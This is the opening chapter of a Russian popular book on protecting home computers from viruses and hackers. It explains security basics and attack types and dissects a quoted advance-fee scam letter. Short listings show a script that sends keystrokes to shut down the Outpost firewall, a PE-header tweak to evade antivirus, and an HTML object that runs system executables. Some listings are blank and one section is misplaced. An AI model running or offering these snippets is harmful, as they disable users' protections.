-------
| Библиотека iknigi.net
|-------
|  Олег Михайлович Бойцев
|
|  Защити свой компьютер на 100% от вирусов и хакеров
 -------

   Олег Михайлович Бойцев
    -------
| Библиотека iknigi.net
|-------
|  
 -------



   Написание книги – нелегкий труд, успех которого невозможен без посторонней помощи.
   Выражаю благодарность своим друзьям и близким, издательству "Питер", в особенности Дмитрию Гурскому и Юлии Чернушевич, и всем, кто потратил на данную работу свои силы и время.
 Олег Бойцев 


   Введение

   Добро пожаловать! Наверняка читатель, который держит в руках эту книгу, уже не понаслышке знаком с вопросами информационной безопасности вообще и компьютерной в частности. Даже если это не так и вы начинающий пользователь, то материал, приведенный в книге, должен помочь продвинуться вглубь. «Выше, быстрее, сильнее!» – именно этот девиз должен сейчас стать главным для читателя, рискнувшего укротить «стихию» мира компьютерной безопасности.
   В современном мире информационных технологий работают те же звериные законы выживания, что и в живой природе. Что может почувствовать человек, увидевший на экране банкомата не привычное Выберите сумму, а голубой экран с кнопкой Пуск в левом нижнем углу и бесстыжее окошко с сообщением об ошибке вместо долгожданной зарплаты?
   Взлом сайтов, кража паролей и конфиденциальной информации, удаленные проникновения и вторжения – это та реальность, в которой мы живем. "Не так уж все и облачно", – скажут некоторые из читателей и будут правы лишь в том, что в действительности информация о взломах, которую обнародуют, – лишь небольшой процент от реальных инцидентов взлома.
   Против чего надо защищаться в первую очередь и какими средствами это можно сделать эффективнее всего – ответы на эти вопросы читатель найдет на страницах данной книги.
   Так уж повелось, что издания, посвященные компьютерной безопасности, чаще всего можно грубо разделить на те, которые рассчитаны на профессионалов, и те, что предназначены для новичков. Ко всему прочему издания подобного рода обычно рассматривают вопросы безопасности исключительно с точки зрения защиты.
   Эта книга коренным образом разрушает такой стереотипный подход. Она будет одинаково полезной и интересной как для новичков, так и для продвинутых пользователей. Вопросы безопасности здесь рассмотрены как с точки зрения защиты, так и с точки зрения взлома.
   Издание удачно сочетает в себе теорию и практику. Многочисленные примеры из реальной жизни и иллюстрации позволяют за считанное время овладеть навыками организации многоуровневой системы защиты от хакерских вторжений и вредоносного кода.
   Усвоив материал издания, вы с легкостью сможете ответить на множество вопросов, касающихся компьютерной безопасности.

   ВНИМАНИЕ
   Все материалы, приведенные в книге, носят исключительно ознакомительный характер. Автор не несет никакой ответственности за использование их в злонамеренных целях.



   От издательства

   Ваши замечания, предложения и вопросы отправляйте по адресу электронной почты dgurski@minsk.piter.com (издательство «Питер», компьютерная редакция).
   Мы будем рады узнать ваше мнение!
   На сайте издательства http://www.piter.com вы найдете подробную информацию о наших книгах.


   Глава 1
   Введение в безопасность


   ♦ Классическая модель безопасности – это мыльный пузырь?
   ♦ Основы информационной безопасности
   ♦ Некоторые разновидности сетевых атак
   ♦ Классификация угроз безопасности веб-серверов
   Цель данной главы – сформировать у читателя базовое представление о том, что же такое компьютерная безопасность. Здесь же в деталях приводится авторитетная классификация угроз безопасности веб-серверов, призванная упорядочить знания и помочь разобраться в многообразии возможных атак и их реализации. Начнем первую главу с рассмотрения классической модели безопасности.


   1.1. Классическая модель безопасности – это мыльный пузырь?


   Предположим, что рассматриваемая нами система (в данном контексте будем говорить об операционных системах линейки Windows) защищена межсетевым экраном и антивирусом; ко всему прочему (а это, с точки зрения взлома, можно считать одним из ключевых моментов), пользователь работает не от прав администратора!
   Насколько безопасна такая система? Попробуем выяснить это вместе.


   Антивирус

   Нужен ли нам антивирус? «Конечно же, нужен, – скажет абсолютное большинство. – Как без антивируса-то? Чем же мы будем защищаться?».
   Диски надо регулярно проверять? Вдруг "киберзараза" тихо сидит и ждет, а потом в определенный день и час отформатирует жесткий диск.
   Проверять, разумеется, лучше всего регулярно – как минимум раз в неделю, как это советуют специалисты по компьютерной безопасности. Надо проверять все носители информации: само собой разумеется, жесткий диск, конечно же, дискеты, флэш-карты и обязательно компакт-диски – совсем не важно, что это займет у вас некоторое время, ведь безопасность превыше всего.
   Обновление антивирусных баз – это вообще святое. Базы недельной давности – уже древние. Поэтому риск "подцепить заразу" со старыми базами очень велик, и это прописная истина. Выход – базы надо обновлять регулярно.
   Время идет, и в один прекрасный момент у вашего антивируса заканчивается срок лицензии (если он не бесплатный, конечно), и "страж" выдает сообщение, что надо бы купить ключик, а то программа не будет полноценно работать. Ну что ж, выход есть – надо найти ключ.
   Одного антивируса явно недостаточно! Все мы знаем, что для обеспечения мало-мальски приличного уровня безопасности надо установить два антивирусных продукта, а чтобы они не конфликтовали – на разные системы. Все верно.
   Все было сделано правильно и работало на ура… Ничего не предвещало беды… пока в один прекрасный день система не легла-таки под новым вирусом неизвестного происхождения. Файлы были хитро переписаны вирусным кодом и/или жесткий диск зверски отформатирован. Но ведь все было сделано правильно!
   Вариант 1. Вы «подцепили заразу» раньше, чем ее сигнатуры успели попасть в базы вашего антивируса, к тому же вирусом оказался не классический EXE-файл, а HTML-страница. Почему бы и нет?
   Механизм работы такого вируса реализуется через уязвимости браузера при обработке ActiveX-объектов. Итак, начнем веселый некролог системе следующим образом (листинг 1.1).
   Листинг 1.1. Устанавливаем стартовую страницу браузера
       CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
   

   
   Вариант 2. Звучит кощунственно: содержимое HTML-файла, подобно патологоанатому, методично «потрошит» винчестер. Невозможно? Еще как возможно! А вот и сценарий стартовой страницы (листинг 1.2).
   Листинг 1.2. HTML-код, форматирующий диск D:
   
   Вышеописанный сценарий, внедренный злоумышленником в HTML-страницу, ни много ни мало незаметно форматирует диск, указанный в коде.
   Продолжим веселый некролог.
   Вариант 3. Система притормаживала, и на время игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».
   Вариант 4. Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE-заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).
   Листинг 1.3. Некоторый учебный пример модификации PE-заголовка
   _PtchImSz:
   mov eax, [esi + 0Ch] ; VirtualRVA(Last section)
   add eax, [esi + 08h] ; VirtualSize(Last section)
   mov [edi + 50h], eax
   Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.
   Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.


   Брандмауэр

   Нужен ли нам брандмауэр?
   Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.
   Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?
   Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…
   Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)
   set WShell = CreateObject("WScript.Shell")
   WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe"
   WScript.Sleep 200
   WShell.AppActivate "Agnitum", TRUE
   WScript.Sleep 100
   WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
   WScript.Sleep 100
   WShell.SendKeys "{ENTER}"

   ПРИМЕЧАНИЕ
   Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!

   Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня
   Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.
   Рис. 1.2. И опять наш «Касперский» оказался на высоте
   Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!
   
   
   
   Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.
   Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.
   Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.
   В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.
   Листинг 1.6. Наш учебный код
   
   OBJECT CLASSID='CLSID:10000000'
   CODEBASE='C:\Windows\system32\logoff.exe'>
   
   

   ПРИМЕЧАНИЕ
   Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.

   А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.
   Читателям, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru.
   Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от "настоящего" администратора рано или поздно ему придется. "Зараза" почувствует это и выполнит свою программу.
   Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!



   1.2. Основы информационной безопасности

   Прежде чем перейти к знакомству с основами информационной безопасности, резонно заметить, что объем приведенных материалов можно считать лишь ознакомительным, но никак не исчерпывающим руководством, в силу того что полное изложение данной темы выходит за рамки книги.
   Итак, информационная безопасность (ИБ) – это процесс и состояние, при котором достигается приемлемый уровень защищенности информации в процессе ее использования.
   Чтобы лучше понять, что же такое ИБ, зачем она нужна и какое состояние системы можно считать небезопасным, прежде всего необходимо уяснить себе, какие цели преследует эта самая ИБ.
   Выделяют пять основных целей ИБ, среди которых самыми главными можно считать следующие:
   ♦ конфиденциальность;
   ♦ доступность;
   ♦ целостность.
   Под конфиденциальностью понимается доступность информации только определенному кругу лиц (например, информация под грифом "секретно" предназначена исключительно для авторизованного персонала).
   Под доступностью понимается возможность получения информации авторизованными пользователями в нужное для них время (например, банк предоставляет возможность осуществления транзакций посредством обращения пользователя к корпоративному сайту, при этом сайт должен быть доступен любому пользователю, подключившемуся к Интернету).
   Под целостностью понимается гарантия существования информации в неискаженном, истинном виде (например, тот же банк должен быть уверен, что персональные данные, переданные в сеть пользователем, не искажены и верны).
   Чтобы не возникло путаницы в определениях, терминах и понятиях, а также в вопросах, касающихся практического применения инструментов ИБ, уже достаточно давно были созданы стандарты информационной безопасности.
   Наиболее известна оранжевая (по цвету обложки) книга Министерства обороны США. В этом документе определяется четыре уровня безопасности: D, С, В и А. По мере перехода от уровня D к А к надежности систем предъявляются все более жесткие требования. Уровни С и В подразделяются на классы C1, C2, В1, В2 и ВЗ. Чтобы система в результате процедуры сертификации могла быть отнесена к некоторому классу, ее защита должна удовлетворять оговоренным требованиям.
   Вместе с тем следует упомянуть и британский стандарт BS 7799 "Управление информационной безопасностью. Практические правила", который лег в основу международного стандарта ISO/IEC 17799:2005, который, в свою очередь, стал базой для стандарта ISO/IEC 27001.
   Следующим понятием ИБ, которое логически вытекает из представлений о стандартах информационной безопасности, является политика ИБ.
   Итак, политика безопасности (от англ. security policy) представляет собой совокупность правил, установок и принципов, соблюдение которых обеспечивает приемлемый уровень безопасности/защищенности информационного пространства и инфраструктуры, непосредственно связанной с деятельностью рассматриваемой организации.
   Результатом работы администратора безопасности должно стать создание документа политики ИБ.
   При создании документа политики ИБ особое внимание необходимо обратить на следующие вопросы:
   ♦ что можно отнести к активам организации (данные, персонал, обслуживающая инфраструктура, материальные ценности);
   ♦ насколько чувствительна и секретна рассматриваемая информация;
   ♦ какие факторы и в каком объеме могут нанести фирме ущерб в информационном аспекте (идентификация угроз);
   ♦ насколько уязвима система для вторжения изнутри и снаружи (идентификация уязвимостей);
   ♦ каковы риски организации с учетом входных данных (угрозы, уязвимости, ущерб, активы) и что можно предпринять для минимизации этих рисков.
   Определение рисков ИБ и их минимизация являются, пожалуй, ключевым моментом, определяющим актуальность и эффективность политики ИБ.
   Как определить, является риск для организации большим или маленьким, приемлемым или недопустимым? В простейшем случае для выяснения степени риска можно воспользоваться матрицей рисков (табл. 1.1).
   Из табл. 1.1 вовсе нетрудно догадаться, что величина риска является результатом произведения входных значений (угрозы и ущерба).
   Как видно из таблицы, риск можно классифицировать по уровню:
   ♦ высокий;
   ♦ средний;
   ♦ низкий.
   Таблица 1.1. Матрица рисков (согласно рекомендациям NIST "Risk Management Guide for Information Technology Systems")
   Понятное дело, что если организация имеет дело с высоким риском, то его необходимо нейтрализовать или в крайнем случае минимизировать.

   ПРИМЕЧАНИЕ
   Если анализ системы показывает, что для минимизации и/или нейтрализации риска могут потребоваться слишком большие неоправданные затраты, то целесообразно отнести такой риск к категории приемлемых. Ущерб от атаки и затраты на ее предотвращение должны быть сбалансированы!

   Как правило, система с высоким уровнем риска наиболее подвержена атакам. В зависимости от источника можно выделить по крайней мере два типа атак:
   ♦ внешние атаки;
   ♦ атаки, исходящие изнутри (чаще всего ассоциированы с действием инсайдеров).
   В рамках следующего раздела мы поговорим с вами о некоторых разновидностях сетевых атак, которые, как вы уже догадались, в большей своей части относятся к внешним атакам.


   1.3. Некоторые разновидности сетевых атак


   Сетевые атаки уже достаточно давно стали фоном современного киберпространства. Похищение конфиденциальных данных, кража паролей доступа, дефейс (взлом, результатом которого становится подмена заглавной страницы сайта) сайтов и DDoS-атаки (Distributed Denial of Service – атака с использованием множества узлов для осуществления атаки на сервер-жертву) сегодня можно считать чем-то вроде привычной обстановки того, что мы называем компьютерной сетью. Интернет это или просто локальная сеть – особой разницы нет, так как любая сеть изначально предполагает обмен данными, взаимодействие между чем-то, посредством чего-то, а это, в свою очередь, как ни крути, создает все условия для перехвата, нарушения конфиденциальности и целостности информации.


   Атаки, основанные на дырах операционной системы и программного обеспечения

   Данный тип можно считать наиболее распространенным видом сетевых атак: уязвимости в операционных системах и программном обеспечении как находили, так и будут находить, ведь языки программирования невсесильны. Известный факт: чем больше размер кода, тем больше вероятность, что в нем существуют ошибки. Вот и получается: чем сложнее система, тем вероятнее, что она даст сбой. Парадоксально и закономерно одновременно.
   Считается, что приложения на основе открытого кода, будучи более пластичными с точки зрения устранения программных ошибок, являются неким эталоном надежного программного кода. Для исправления вновь появившихся ошибок постоянно выпускают обновления, и, казалось бы, все не так уж и облачно. Но не тут-то было.
   Недавно проведенные группой IT-специалистов при участии Министерства Национальной Безопасности США и Стэндфордского университета специальные исследования показали, что не существует Open Source-проектов с меньшим количеством ошибок, чем в программах с закрытыми исходными кодами. В последнее время сторонниками открытых проектов утверждается, что одним из главных преимуществ открытого кода является низкое количество ошибок по сравнению с закрытыми программами. Был проведен сравнительный анализ ста пятидесяти самых популярных Open Source-проектов и проприетарного кода более чем сотни компаний – более 60 млн строк на всех. Исследование показало, что Open Source-про-екты содержат ничуть не меньше ошибок, чем программы с закрытыми исходными кодами.
   Какие именно ошибки программного кода компрометируют систему на атаку извне? Самые разнообразные. В качестве самого, пожалуй, яркого примера можно привести ошибку программного кода, посредством которого возможно переполнение буфера. Именно данная проблема (переполнение буфера) лежит в основе большинства уязвимостей и на сегодняшний день является самой распространенной в области безопасности сетевого ПО. Эта уязвимость активно используется вредоносным ПО, таким как компьютерные черви (например, CodeRed, Slammer, Lovesan) и вирусы. Указанная уязвимость с успехом применяется и для организации массированных DDoS-атак, что говорит само за себя.
   Вновь обнаруженные уязвимости ПО регулярно публикуются на сайтах типа www.securityLab.ru. Обычно описание такой уязвимости включает в себя уровень ее опасности (например, критический) и содержит соответствующие программы для реализации данной уязвимости. При наличии подобной программы у атакующего осуществление атаки – дело самого ближайшего времени. В качестве горячего примера можно привести программу KaHt, эксплуатирующую уязвимость в службе DCOM RPC (уязвимы системы с первым сервис-паком). Не менее интересный пример SMBdie – программное средство, посредством которого возможно вызвать удаленный отказ в обслуживании (рис. 1.3).
   Данный вид сетевых атак можно считать самым настоящим киберкощунством. Посудите сами: на мирный электронный ящик ничего не подозревающего хозяина лавинообразно посылается куча писем, содержание которых иногда может быть просто неприличным. Предложение о сотрудничестве, о выезде за границу, нигерийские письма, в которых ваш дядя из Гваделупы предлагает несметные сокровища.
   Для организации атак подобного рода применяют специальные программы – мейл-бомберы. Такие приложения затопляют электронный почтовый ящик огромным количеством писем, обратный адрес которых фальшивый. Установить обратный адрес достаточно трудно даже по заголовку письма (HEAD), так как IP отправителя не имеет ничего общего с тем, что указан в заголовке. Для осуществления коварного плана злонамеренному пользователю достаточно знать адрес электронной почты жертвы.
   Рис. 1.3. Программа SMBdie в действии


   Мейл-бомбинг

   Большинство почтовых систем имеют антиспам-фильтры, защищающие клиентов от подобных сетевых вакханалий. Все, казалось бы, в розовом свете, но почему-то, несмотря на усиливающиеся беспрецедентные меры защиты от подобного рода атак, спам приходит и приходит. Все дело, наверное, в том, что алгоритмы распространения такого мусора умнеют параллельно с интеллектуализацией систем защиты.
   Основным способом рассылки спамерских сообщений было и по-прежнему остается использование сетей, созданных на основе зомбированных систем ничего не подозревающих пользователей. Можно констатировать, что спамеры активно идут по пути наращивания мощностей и развития зомби-сетей.
   В качестве горячего примера мейл-бомбинга будет более чем уместно привести следующее. Итак, привожу текст письма, отправителем которого является щедрый дядька из банановой республики, готовый поделиться миллионами, ради того чтобы вы согласились на маленькую услугу.
   "FROM MR USMAN KAMAL
   BILL AND EXCHANGE MANAGER
   BANKOF AFRICA (BOA) OUAGADOUGOU BURKINA FASO".
   Письмо отправлено мистером Усманом Камалом, финансовым менеджером Банка Африки.
   Ну что ж, для начала неплохо. Управляющий банка и все такое. Читаем дальше.
   Стоп! Далее идет нечто весьма и весьма странное, можно даже сказать, ужасное – "OUAGADOUGOU"! Ну что, может, все-таки, появилась тень сомнения?
   Появилась и исчезла. Пройдя через Lingvo, "OUAGADOUGOU" оказалось замечательным городом Уагадугу, а вовсе не тайным заклинанием колдунов культа Вуду. "А "BURKINA FASO"? Это что?" – спросят многие. Буркина-Фасо – это государство в Западной Африке!
   Читаем дальше.
   «CONFIDENCIAL»
   Ну, это понятно: значит, конфиденциально, секретно.
   «DEAR FRIEND, I AM THE MANAGER OF BILL AND EXCHANGE AT THE FOREIGN REMITTANCE DEPARTMENT OF BANK OF AFRICA (B.O.A) HERE IN OUAGADOUGOU, BURKINA FASO».
   Дорогой друг (они уже успели с вами подружиться), я менеджер по всем самым важным финансовым вопросам вышеназванного банка африканского гогода Уагадугу.
   «IN MY DEPARTMENT WE DISCOVERED AN ABANDONED SUM OF $25 000 000 (TWENTY FIVE MILLION UNITED STATE DOLLARS) IN AN ACCOUNT THAT BELONGS TO ONE OF OUR FORIEGN CUSTOMER (MR. ANDREAS SCHRANNER FROM MUNICH, GERMANY) WHO DIED ALONG WITH HIS ENTIRE FAMILY IN JULY2006 IN A PLANE CRASH».
   Читаем далее: в нашем подразделении, или отделе (что, впрочем, не так важно), мы обнаружили заброшенный, покинутый, ничей (вот так незадача) счет на $25 млн. Счет принадлежал иностранному клиенту – мистеру ANDREAS SCHRANNER из Германии, который трагически погиб в июле 2006 года вместе со всей своей семьей в авиакатастрофе.
   «http://news.bbc.co.uk/1/hi/world/europe/859479.stm»
   (ссылка на некий ресурс, доказывающий, что авария с указанным лицом действительно произошла)
   Хм, ну что ж. По логике вещей, конечно, жалко погибшего, а как же быть с 25 млн американских долларов? Написавший это письмо утверждает, что счет никому не принадлежит. Намек что ли? Но пока это только не более чем намеки. Посмотрим, что нам пишут дальше.
   "SINCE WE GOT THE INFORMATION ABOUT HIS DEATH, WE HAVE BEEN EXPECTING HIS NEXT OF KIN TO COME OVER AND CLAIM HIS MONEY BECAUSE WE CANNOT RELEASE IT, UNLESS SOMEBODY APPLIES FOR THE NEXT OF KIN OR RELATION TO THE DECEASED AS INDICATED IN OUR BANKING GUIDING AND LAW BUT UNFORTUNATELY WE LEARNT THAT HIS NEXT OF KIN DIED ALONG
   WITH HIM IN THE PLANE CRASH.
   THE BANKER GUIDELINE HERE A RESPONSABLE PERSON, AND WHO THE BANK CAN INTROSSTED THIS TREASURY AS UNCLAIMED FUND.
   THE RESQUEST OF FORIEGNER AS NEXT OFKININHIS BUSINESS IS OCCASSIONED
   BY THE FACT THAT THE CUSTOMER WAS A FOREIGNER AND A BURKINABE
   CANNOT STAND AS NEXT OF KIN TO A FOREIGNER".
   С момента получения нами информации о смерти клиента мы приложили все усилия, чтобы найти кого-нибудь из ближайших его родственников, но вынуждены признать, что все его родственники погибли в авиакатастрофе. Мы ищем подходящего человека (а такой подходящий именно вы и никто другой, будьте в этом уверены!) для обналичивания счета.
   По логике вещей должен возникнуть вопрос: почему этот менеджер не может найти этого "нужного" человека там, в Африке? Ответ прост: этот человек должен быть иностранцем, то есть вы именно тот, кто идеально подходит для этой цели.
   «I AGREE THAT 30% OFTHIS MONEYWILL BE FOR YOU AS A RESPECT TO THE PROVISION OF A FOREIGN ACCOUNT».
   И вот здесь начинается самое интересное. Господин USMAN KAMAL предлагает нам 30 % от суммы, лежащей на счете, а это ни много ни мало 7 млн 500 тыс. американских долларов (!).
   "10 % WILL BE SET ASIDE FOR ANY EXPENSES INCURRED DURING THE BUSINESS AND 60 % WOULD BE FOR ME.
   HEREAFTER, I WILL VISIT YOUR COUNTRY FOR DISBURSEMENT ACCORDING TO THE PERCENTAGE INDICATED THEREFORE, TO ENABLE THE IMMEDIATE TRANSFER OF THIS FUND TO YOU AS ARRANGED".
   10 % от этой суммы пойдут на "производственные" расходы, а 60 % он заберет себе. После чего Усман обещает приехать в нашу страну и уладить все вопросы, касающиеся срочного перевода денег.
   "YOU MUST APPLY FIRST TO THE BANK AS RELATION OR NEXT OF KIN OF THE DECEASED INDICATING YOUR BANK NAME, YOUR BANK ACCOUNT NUMBER, YOUR PRIVATE TELEPHONE NUMBER AND YOUR FAX NUMBER FOR EASY AND EFFECTIVE COMMUNICATION AND LOCATION WHERE IN THE MONEY WILL BE
   REMITTED".
   Чтобы стать счастливым обладателем 30 % от указанной выше суммы, необходимо сделать совсем ничего, а именно: обратиться в соответствующий банк в качестве родственника погибшего, указав реквизиты своего банковского счета, включая свой личный номер телефона и факса.
   "UPON RECEPIT OF YOUR REPLY, I WILL SEND TO YOU BY FAX OR EMAIL THE TEXT OF APPLICATION^
   После того как мистер Усман получит ваш ответ, к вам на электронный ящик будет отправлена специальная форма заявления, которая понадобится для оговоренных выше транзакций.
   «I WILL NOT FAIL TO BRING TO YOUR NOTICE THIS TRANSACTION IS HITCH-FREE AND THAT YOU SHOULD NOT ENTERTAIN ANY ATOM OF FEAR AS ALL REQUIRED ARRANGEMENTS HAVE BEEN MADE FOR THE TRANSFER».
   Я обещаю, что все операции по переводу денег займут минимальное количество времени с минимальным для вас риском.
   "YOU SHOULD CONTACT ME IMMEDIATELY AS SOON AS YOU RECEIVE THIS
   LETTER.
   TRUST TO HEAR FROM YOUIMMEDIATELY".
   Постарайтесь ответить как можно быстрей.
   «YOURS FAITHFULLY MR USMAN KAMAL».
   С глубочайшим уважением, мистер Усман Камал.

   ПРИМЕЧАНИЕ
   Согласно статистике в 3 % случаев человек, получивший подобное письмо, уезжает в Африку… навсегда.



   Сетевое сканирование портов

   Сетевое сканирование портов включает в себя процесс автоматизированного выявления уязвимостей на удаленных системах с последующим захватом последних. В качестве сканеров подобного рода можно привести что-нибудь вроде XSpider, Essential Net Tools, Net Bios Scaner и многие другие, активно использующиеся теми, кому это надо (рис. 1.4).
   Существуют специализированные системы, упрощающие процесс хакинга до максимума. В качестве горячего примера можно привести так называемые авторутеры (англ. root – дословно "корень", "корневая директория"; подразумевается полный захват системы) – программные комплексы, последовательно сканирующие большое количество машин. Следующим после обнаружения уязвимых систем шагом "захватчика" является процесс захвата системы с установкой специализированного вредоносного ПО (черви, троянские кони и руткиты (root kit), которые, в отличие от остальных, обнаружить в системе практически невозможно; также затруднительно и лечение системы).
   Рис. 1.4. Утилита XSpider в действии
   Преимущества таких автоматизированных систем очевидны: за считанное время автоматизация позволяет захватчику просканировать сотни тысяч систем.
   В качестве горячего примера можно привести краткие описания следующих руткитов (взято с www.virusList.com), как нельзя лучше иллюстрирующих совсем не детские возможности современного вредоносного ПО:
   ♦ "AFXRootkit 2005 – это Open Source-руткит, написанный на Delphi; использует code injection и hooks Windows native API для сокрытия своего процесса, modules, handles, files, ports, registry keys и т. д.";
   ♦ "FU Rootkit: FU может прятать процессы, поднимать привилегии процесса, обманывать Windows Event Viewer, так что суды невозможны! И даже прячет драйверы устройств (!). И все это без какого-либо взлома".
   До недавнего времени обнаружение руткитов представляло довольно сложную с технической точки зрения процедуру, однако сейчас существует достаточное количество спецсредств для обнаружения подобных вредоносных модулей. В качестве примера можно привести "Антивирус Касперского 7.0" (рис. 1.5).
   Рис. 1.5. Включение модуля обнаружения руткитов


   Сетевые атаки с использованием червей, вирусов, троянских коней

   Симптоматика вирусного заражения обычно следующая: заражение исполняемых файлов (EXE, COM), сопровождаемое аномальным поведением при запуске, «чудо-форматирование дисков», необратимое подвисание системы и т. п.
   Из Сети такое чудо можно получить известным способом – через почтовые прикрепления либо скачав суперускоритель браузера.
   Троянские кони, в отличие от вирусов, не характеризуются особо страшной деструктивностью, но от этого менее коварным этот вид программ назвать нельзя. Суть сетевой атаки с использованием троянских коней проста: на машину жертвы любым из известных способов "заливается" программа, которая впоследствии, в зависимости от своей функциональной принадлежности, крадет персональные данные с последующей пересылкой "награбленного" своему хозяину, удаленно управляет системой (так называемый backdoor – бэкдор), выполняет функции прокси-сервера (понятно, зачем), участвует в организации DDoS и т. д.
   Чтобы лучше представить себе некоторые из возможностей шпионских программ и их роль в организации сетевых атак, будет более чем уместно привести следующее описание (источник www.viruslist.com).
   "A-311 Death Full (бэкдор) – это новая, продвинутая система удаленного администрирования с множеством возможностей. Рассмотрим основные из них:
   ♦ после установки программа работает из-под системных приложений;
   ♦ невидимость с момента инсталляции;
   ♦ невидимость слушающих портов;
   ♦ полный и совершенный контроль над файловой системой: копирование, переименование, удаление файлов и папок, создание новых папок;
   ♦ вывод файлов/папок по заданной маске (включая refresh), а также возможность показывать растровые изображения поверх всех окон и проигрывать WAV-файлы внутренними средствами сервера (при щелчке правой кнопкой мыши на названии соответствующего файла в меню появится дополнительный раздел), отправлять файлы посредством электронной почты прямо из файл-менеджера;
   ♦ запуск приложений одним щелчком кнопкой мыши, просмотр/изменение атрибутов файлов, управление реестром (в Windows 2000/XP управление с правами SYSTEM, но только после перезагрузки): создание, переименование, удаление ключей и параметров;
   ♦ перезагрузка/выключение компьютера/выход пользователя;
   ♦ обнуление содержимого CMOS;
   ♦ отключение дисковода и отключение/включение монитора". Комментарии, как говорится, излишни.

   ПРИМЕЧАНИЕ
   Описание носит ознакомительный характер. Автор не несет никакой ответственности за использование конкретных приведенных материалов в злонамеренных целях.

   Что касается сетевых атак, организованных посредством червей, то тут следует сказать следующее: в основах механизмов распространения червей стоят многочисленные дыры ПО, «новопоявления» которых очень часто сопровождаются созданием нового червя. По логике вещей можно было бы предположить: новая дыра – новый червь. Но не следует забывать про многочисленные модификации компьютерных червяков, которые как раз и являются причиной массовых интернет-эпидемий.


   Атаки типа «отказ в обслуживании» (DoS) и «распределенный отказ в обслуживании» (DDoS)

   На сегодняшний день DDoS-атаки являются одними из самых опасных с точки зрения последствий. Посудите сами: крупный обслуживающий банковский сервер, который на некоторое время (пусть даже на полчаса) приостановил свою работу, создает убытки, исчисляемые десятками и даже сотнями тысяч долларов. А каковы будут убытки, если сервер замолчит на сутки?
   Данный вид атаки в большинстве случаев не требует сверхусилий со стороны атакующего и поэтому доступен многим из тех, кому это надо.
   Чем же принципиально отличаются DoS и DDoS от других сетевых атак? Наверное, тем, что цели таких атак не сводятся к получению тотального доступа к вашей сети или разведыванию какой-либо конфиденциальной информации. Нападения подобного рода используются в первую очередь для подрыва нормального функционала системы (это как раз тот случай, когда можно говорить о "нарушении доступности", – см. разд. 1.2) за счет обработки пакетов или траты системных ресурсов. Подобные нападения имеют несколько разновидностей.
   UDP flood представляет собой атаку, при которой на определенный адрес системы-мишени осуществляется отправка множества пакетов UDP (User Datagram Protocol – дополнительный компонент протокола TCP, поддерживающий выполняющуюся без подключений службу датаграмм, не гарантирующую ни доставку, ни правильную последовательность доставленных пакетов). В настоящее время подобный вид атак применяется все реже: особенностью UDP-отправите-лей является возможность их легкого обнаружения, что связано с отсутствием шифрования протоколов TCP и UDP на уровне взаимодействия управляющего атакой и машинами-зомби.
   ICMP flood – атака посредством ICMP-протокола (Internet Control Message Protocol – обязательный управляющий протокол в наборе протоколов TCP/IP, сообщающий об ошибках и обеспечивающий связь между узлами сети. Именно протокол ICMP используется программой Ping для обнаружения и устранения неполадок TCP/IP).
